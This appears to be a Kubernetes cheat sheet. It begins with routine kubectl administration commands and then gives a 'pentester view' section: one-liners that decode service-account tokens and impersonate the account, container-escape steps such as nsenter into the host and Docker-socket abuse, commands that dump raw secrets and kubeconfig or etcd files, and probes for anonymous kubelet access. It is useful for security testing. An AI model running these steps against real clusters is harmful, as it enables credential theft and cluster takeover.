Kubernetes Cheat Sheet

Cluster Basics

• Current context / switch kubectl config current-context kubectl config use-context <name>
• Get node + components kubectl get nodes, kubectl cluster-info
• API resources list kubectl api-resources

Namespaces & Pods

• Create / list / delete namespace kubectl create ns test, kubectl get ns, kubectl delete ns test
• Get pods kubectl get pods -A (all namespaces) / -n <ns>
• Describe pod / events kubectl describe pod <name> -n <ns>
• Pod details with wide output kubectl get pods -o wide
• Logs kubectl logs <pod> -n <ns>, follow -f, previous container --previous
• Exec into pod kubectl exec -it <pod> -n <ns> -- /bin/sh
• Run a test pod kubectl run nginx --image=nginx --restart=Never
• Delete pod(s) kubectl delete pod <name>

Deployments, Services, Config

• Deployments: get / scale / rollout kubectl get deploy, kubectl scale deploy <name> --replicas=3, kubectl rollout status deploy/<name>
• Services kubectl get svc -A, kubectl port-forward svc/<svc> 8080:80 (reach cluster service locally)
• ConfigMaps / Secrets kubectl get cm,secrets -A — check secrets for leaked creds
• Ingress kubectl get ingress -A

RBAC & Security (pentester view)

• Check current permissions kubectl auth can-i --list -n <ns>
• What can I do cluster-wide kubectl auth can-i create pod --all-namespaces
• Service accounts kubectl get sa -A, list their roles kubectl get role,rolebinding,clusterrole,clusterrolebinding -A
• Get a secret’s token to impersonate a SA:

  kubectl get secret <sa-token-secret> -o jsonpath='{.data.token}' | base64 -d
  TOKEN=$(...); curl -k -H "Authorization: Bearer $TOKEN" https://<apiserver>/api/v1/namespaces/default/pods --cacert ca.crt
  

Common Container Escapes (if you get a pod)

• Docker socket mounted? → docker CLI inside container → docker escape
• Privileged pod: capsh --print (check CapEff); try /dev/mem abuse or nsenter -t 1 -m -u -i -n sh
• Check /var/run/secrets/kubernetes.io/serviceaccount — token auto-mount
• HostPID → ps aux on host, nsenter --pid=<hostpid> break out
• HostNetwork → scan node IPs from inside
• Extraction paths: copy /etc/kubernetes/*.conf, minikube kubeconfig, etcd backup secrets

Data to Grab

• Full objects kubectl get all -A -o yaml > cluster.yaml (recon)
• Secret raw values kubectl get secret <s> -o go-template=': \n'
• Pod images / node labels kubectl get po -o wide, kubectl get no --show-labels

Tips

• kubectl present? Use kubectl auth can-i --list FIRST — RBAC misconfig = instant cluster takeover
• Kubelet API on port 10250 often anonymous: curl -sk https://<node>:10250/pods and run via --kubelet-exec (discovered via kubeletctl)
• Don’t forget: kubectl get secrets -n kube-system (dashboard tokens sometimes)